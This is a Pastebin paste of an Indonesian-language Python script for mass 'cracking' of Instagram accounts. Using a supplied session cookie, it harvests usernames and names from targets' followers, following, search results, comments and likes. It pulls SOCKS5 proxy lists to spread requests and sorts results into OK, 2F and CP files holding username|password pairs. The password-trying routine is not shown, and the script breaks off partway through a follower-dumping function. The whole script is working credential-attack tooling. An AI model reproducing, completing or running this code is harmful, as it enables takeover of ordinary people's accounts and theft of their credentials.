OBF-XIn

140.213.57.15-/sdcard/Premium/instagram.py.py

Apr 6th, 2024
22
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 110.66 KB | None | 0 0
  1. # create by ZORA ID 2024
  2.  
  3. try:
  4.     import uuid, hmac, hashlib, urllib, shutil, base64
  5.     import os, re, sys, json, time, random, datetime, requests
  6.     from asset.enc_password import Requre
  7.     from asset.amankan_data import Require
  8.     from asset.useragent_ig import Useragent
  9.     from rich.tree import Tree
  10.     from rich import print as printz
  11.     from rich.panel import Panel
  12.     from facebook import Facebook
  13.     from rich.console import Console
  14.     from rich.columns import Columns
  15.     from bs4 import BeautifulSoup as bs
  16.     from banner import Terminal
  17.     from concurrent.futures import ThreadPoolExecutor
  18. except(Exception, KeyboardInterrupt) as e:
  19.     try:
  20.         from urllib.parse import quote
  21.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  22.         exit()
  23.     except(Exception, KeyboardInterrupt) as e:
  24.         from urllib.parse import quote
  25.         __import__('os').system(f'xdg-open https://wa.me/6283140199711?text=INSTAGRAM%20ERROR%20%3A%20{quote(str(e))}')
  26.         exit()
  27.  
  28. dump = []
  29.            
  30. class Requ:
  31.     def __init__(self) -> None:
  32.         self.proxies = []
  33.         pass        
  34.        
  35.     def Convert_Name(self, xxx, cookie):
  36.         with requests.Session() as r:
  37.             try:
  38.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  39.                 if 'user_id' in str(response):
  40.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  41.             except (Exception) as e: pass
  42.            
  43.     def Convert_Url(self, xxx, cookie):
  44.         with requests.Session() as r:
  45.             try:
  46.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  47.                 if 'media_id' in str(response):
  48.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  49.             except (Exception) as e: exit(e)
  50.  
  51.     def Validasi_Username(self, username):
  52.        with requests.Session() as r:
  53.            try:
  54.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  55.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  56.            except (Exception) as e: return(None,None,None,None)
  57.            
  58.     def DeviceId(self):
  59.         return 'android-%s'%(self.uuid_(True)[:16])
  60.  
  61.     def uuid_(self, abcd=None, zd=None):
  62.         if zd is not None:
  63.            m = hashlib.md5()
  64.            m.update(zd.encode('utf-8'))
  65.            i = uuid.UUID(m.hexdigest())
  66.         else:
  67.            i = uuid.uuid4()
  68.            if abcd: return str(i.hex)
  69.         return str(i)
  70.  
  71.     def adid(self, username):
  72.         sha2 = hashlib.sha256()
  73.         sha2.update(username.encode('utf-8'))
  74.         abcd = sha2.hexdigest()
  75.         return self.uuid_(False, abcd)
  76.  
  77.     def guid(self):
  78.         return self.uuid_(False)
  79.  
  80.     def poid(self):
  81.         return self.uuid_(False, self.guid())
  82.        
  83.     def Socksku(self):
  84.         with requests.Session() as r:
  85.             try:
  86.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  87.                 for prox in response.splitlines():
  88.                     self.proxies.append(prox)
  89.                 return self.proxies
  90.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  91.        
  92. class Login:
  93.     def __init__(self) -> None:
  94.         pass
  95.        
  96.     def Username_And_Password(self):
  97.         try:
  98.             Terminal().Banner_Instagram()
  99.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  100.             cookies = Console().input("[bold grey50]   ╰─> ")
  101.             if len(cookies) >0:
  102.                 self.username, self.fullname = self.Validasi_Cookies(cookies)
  103.                 with open('.cookie_instagram.json', 'w') as wr:
  104.                     wr.write(json.dumps({
  105.                         "Cookie": cookies,
  106.                     }))
  107.                     wr.close()
  108.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!...", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Success[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  109.                 exit()
  110.             else:
  111.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Masukan Cookie Instagram, Jangan Sampai Kosong Ngabs!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  112.                 exit()
  113.         except (KeyboardInterrupt, Exception) as e:
  114.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  115.             exit()    
  116.        
  117.     def Validasi_Cookies(self, cookies):
  118.         with requests.Session() as r:
  119.             r.headers.update({
  120.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  121.             })
  122.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.search('ds_user_id=(\d+)',str(cookies)).group(1)), cookies = {
  123.                 'cookie': cookies
  124.             })
  125.             self.payload = json.loads(response.text)
  126.             if '\'username\':' in str(self.payload):
  127.                 self.username = self.payload['user']['username']
  128.                 self.fullname = self.payload['user']['full_name']
  129.                 return(self.username, self.fullname)
  130.             else:
  131.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  132.                 time.sleep(3.5)
  133.                 self.Username_And_Password()
  134.                
  135. class Instagram:
  136.     def __init__(self):
  137.         self.uaman, self.uaku = [],[]
  138.         self.password_manual, self.masukan_sandi, self.Kilometers, self.Meterans, self.amankan_akun = [],[],[],[],[]
  139.         self.success, self.chekpoint, self.faktor, self.looping, self.sandi_salah = 0,0,0,0,0
  140.         self.Create_Dir()
  141.        
  142.     def Create_Dir(self):
  143.         try: os.mkdir('OK')
  144.         except: pass
  145.         try: os.mkdir('/sdcard/OK')
  146.         except: pass
  147.         try: os.mkdir('2F')
  148.         except: pass
  149.         try: os.mkdir('/sdcard/2F')
  150.         except: pass
  151.         try: os.mkdir('CP')
  152.         except: pass
  153.         try: os.mkdir('/sdcard/CP')
  154.         except: pass
  155.  
  156.     def Remove_Cookie(self):
  157.         try: os.system('rm -rf .cookie_instagram.json')
  158.         except (Exception): pass
  159.         Login().Username_And_Password()
  160.  
  161.     def Chek_Cookies(self, created, exspired, sisa):
  162.         try:
  163.            cookie = json.loads(open('.cookie_instagram.json', 'r').read())['Cookie']
  164.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  165.         except (FileNotFoundError) as e:
  166.            Terminal().Clear_Terminal()
  167.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  168.            Console().print("[bold grey50]   ╰─> File Not Found Error!!..")
  169.            time.sleep(3.5)
  170.            self.Remove_Cookie()
  171.            
  172.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  173.         try:
  174.             bulan = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  175.             txp,bxp,hxp = exspired.split('-'); tcd,bcd,hcd = created.split('-')
  176.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  177.         except (KeyError) as e:
  178.             Terminal().Clear_Terminal()
  179.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  180.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!...")
  181.             time.sleep(3.5)
  182.             self.Remove_Cookie()
  183.            
  184.         except (requests.exceptions.ConnectionError) as e:
  185.             Terminal().Clear_Terminal()
  186.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  187.             Console().print("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!...")
  188.             time.sleep(3.5)
  189.             self.Chek_Cookies()
  190.         try:                    
  191.             Terminal().Banner_Instagram()
  192.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  193.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Join [bold green]{hcd} {bulan[bcd]} {tcd}\n[bold green]•[bold white] Exspired [bold red]{hxp} {bulan[bxp]} {txp}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Info License[bold grey50]) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  194.             Console().print(Columns(self.Kilometers))
  195.             #Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Status Key [italic green]Aktif[italic white] Exspired Dalam [italic yellow]{sisa}[italic white] Hari!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<"),justify='center')
  196.         except (AttributeError) as e:
  197.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  198.             exit()
  199.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack nama dari follower    [bold white][bold green]06[bold white]. Chek Detedtor Chekpoint\n[bold white][bold green]02[bold white]. Crack nama dari following\t[bold white][bold green]07[bold white]. Chek Result Crack Anda\n[bold white][bold green]03[bold white]. Crack nama dari search nama\t[bold white][bold green]08[bold white]. Beralih Ke Facebook\n[bold white][bold green]04[bold white]. Crack nama dari komentar\t[bold white][bold green]00[bold white].[bold red] Exit Instagram\n[bold white][bold green]05[bold white]. Crack nama dari likers''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  200.         query = Console().input("[bold grey50]   ╰─> ")
  201.         if query == '01' or query == '1':
  202.             try:
  203.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  204.                 username = Console().input("[bold grey50]   ╰─> ")
  205.                 for self.username in username.split(','):
  206.                     uid = Requ().Convert_Name(self.username, cookie)
  207.                 try: self.Dump_Followers(uid, cookie, '')
  208.                 except (Exception) as e: pass
  209.                 if len(dump) < 50:
  210.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  211.                     exit()
  212.                 else:
  213.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  214.                     self.Methode()
  215.             except (Exception) as e:
  216.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  217.                 exit()
  218.                
  219.         elif query == '02' or query == '2':
  220.             try:
  221.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  222.                 username = Console().input("[bold grey50]   ╰─> ")
  223.                 for self.username in username.split(','):
  224.                     uid = Requ().Convert_Name(self.username, cookie)
  225.                 try: self.Dump_Following(uid, cookie, '')
  226.                 except (Exception) as e: pass
  227.                 if len(dump) < 50:
  228.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  229.                     exit()
  230.                 else:
  231.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  232.                     self.Methode()
  233.             except (Exception) as e:
  234.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  235.                 exit()
  236.                
  237.         elif query == '03' or query == '3':
  238.             try:
  239.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  240.                 username = Console().input("[bold grey50]   ╰─> ")
  241.                 for self.username in username.split(','):
  242.                     try: self.Dump_Search(self.username, cookie)
  243.                     except (Exception) as e: pass
  244.                 if len(dump) < 50:
  245.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  246.                     exit()
  247.                 else:
  248.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  249.                     self.Methode()
  250.             except (Exception) as e:
  251.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  252.                 exit()
  253.                
  254.         elif query == '04' or query == '4':
  255.             try:
  256.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  257.                 username = Console().input("[bold grey50]   ╰─> ")
  258.                 for self.username in username.split(','):
  259.                     uid = Requ().Convert_Url(self.username, cookie)
  260.                 try: self.Dump_Komentar(uid, cookie, '')
  261.                 except (Exception) as e: pass
  262.                 if len(dump) < 50:
  263.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  264.                     exit()
  265.                 else:
  266.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  267.                     self.Methode()
  268.             except (Exception) as e:
  269.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  270.                 exit()
  271.                
  272.         elif query == '05' or query == '5':
  273.             try:
  274.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  275.                 username = Console().input("[bold grey50]   ╰─> ")
  276.                 for self.username in username.split(','):
  277.                     uid = Requ().Convert_Url(self.username, cookie)
  278.                 try: self.Dump_Likers(uid, cookie, '')
  279.                 except (Exception) as e: pass
  280.                 if len(dump) < 50:
  281.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Jumlah Username Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  282.                     exit()
  283.                 else:
  284.                     Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  285.                     self.Methode()
  286.             except (Exception) as e:
  287.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  288.                 exit()
  289.                
  290.         elif query == '06' or query == '6':
  291.             try: file = os.listdir('/sdcard/CP')
  292.             except (Exception) as e:
  293.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  294.                 exit()
  295.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  296.             Console(width=65).print(Panel('[bold white]Detedtor CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  297.             files = Console().input("[bold grey50]   ╰─> ")
  298.             Console(width = 65).print(Panel('[italic green]Mode Pesawat Terlebih Dahulu 5 Detik, Agar Terhindar Dari Spam!!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
  299.             Console().input("[bold grey50]   ╰─> Tekan Enter!!")
  300.             for buka in open('/sdcard/CP/'+str(files)).readlines():
  301.                 try:
  302.                     username, password = buka.split('|')[1], buka.split('|')[2]
  303.                     self.DetedtorChekpoint(username, password)
  304.                 except (Exception) as e:
  305.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  306.                     exit()
  307.                
  308.         elif query == '07' or query == '7':
  309.             try:
  310.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  311.                 choose = Console().input("[bold grey50]   ╰─> ")
  312.                 if choose =='01' or choose =='1':
  313.                     try:
  314.                         file = os.listdir('/sdcard/OK')
  315.                     except (Exception) as e:
  316.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  317.                         exit()
  318.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  319.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  320.                     files = Console().input("[bold grey50]   ╰─> ")
  321.                     self.Result(choose,files)
  322.                     exit()
  323.                 elif choose =='02' or choose =='2':
  324.                     try:
  325.                         file = os.listdir('/sdcard/2F')
  326.                     except (Exception) as e:
  327.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  328.                         exit()
  329.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File 2F[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  330.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  331.                     files = Console().input("[bold grey50]   ╰─> ")
  332.                     self.Result(choose,files)
  333.                     exit()
  334.                 elif choose =='03' or choose =='3':
  335.                     try:
  336.                         file = os.listdir('/sdcard/CP')
  337.                     except (Exception) as e:
  338.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  339.                         exit()
  340.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  341.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  342.                     files = Console().input("[bold grey50]   ╰─> ")
  343.                     self.Result(choose,files)
  344.                     exit()
  345.                 else:
  346.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  347.                     exit()  
  348.             except (Exception) as e:
  349.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  350.                 exit()
  351.                
  352.         elif query == '08' or query == '8':
  353.             try: Facebook()
  354.             except (Exception) as e:
  355.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  356.                 exit()
  357.                              
  358.         elif query == '00' or query == '0':
  359.             try: self.Remove_Cookie()
  360.             except (Exception) as e:
  361.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  362.                 exit()
  363.         else:
  364.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  365.             exit()              
  366.                  
  367.     def Dump_Search(self, username, cookie):
  368.         with requests.Session() as r:
  369.             try:
  370.                 response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  371.                 for akun in response['users']:
  372.                     username, fullname = akun['user']['username'], akun['user']['full_name']
  373.                     if username+'<=>'+fullname not in dump: dump.append(username+'<=>'+fullname)
  374.             except: pass
  375.             while True:
  376.                 try:
  377.                     response2 = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  378.                     for akun in response2['users']:
  379.                         username, fullname = akun['user']['username'], akun['user']['full_name']
  380.                         if username+'<=>'+fullname not in dump:
  381.                             dump.append(username+'<=>'+fullname)
  382.                             Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  383.                     if 'next_max_id' in str(response2):
  384.                         self.Dump_Search(username, cookie)
  385.                 except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: break
  386.            
  387.     def Dump_Followers(self, username, cookie, max_id):
  388.         with requests.Session() as r:
  389.             try:
  390.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  391.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  392.                 for akun in response['users']:
  393.                     if akun not in dump:
  394.                         dump.append(akun['username']+'<=>'+akun['full_name'])
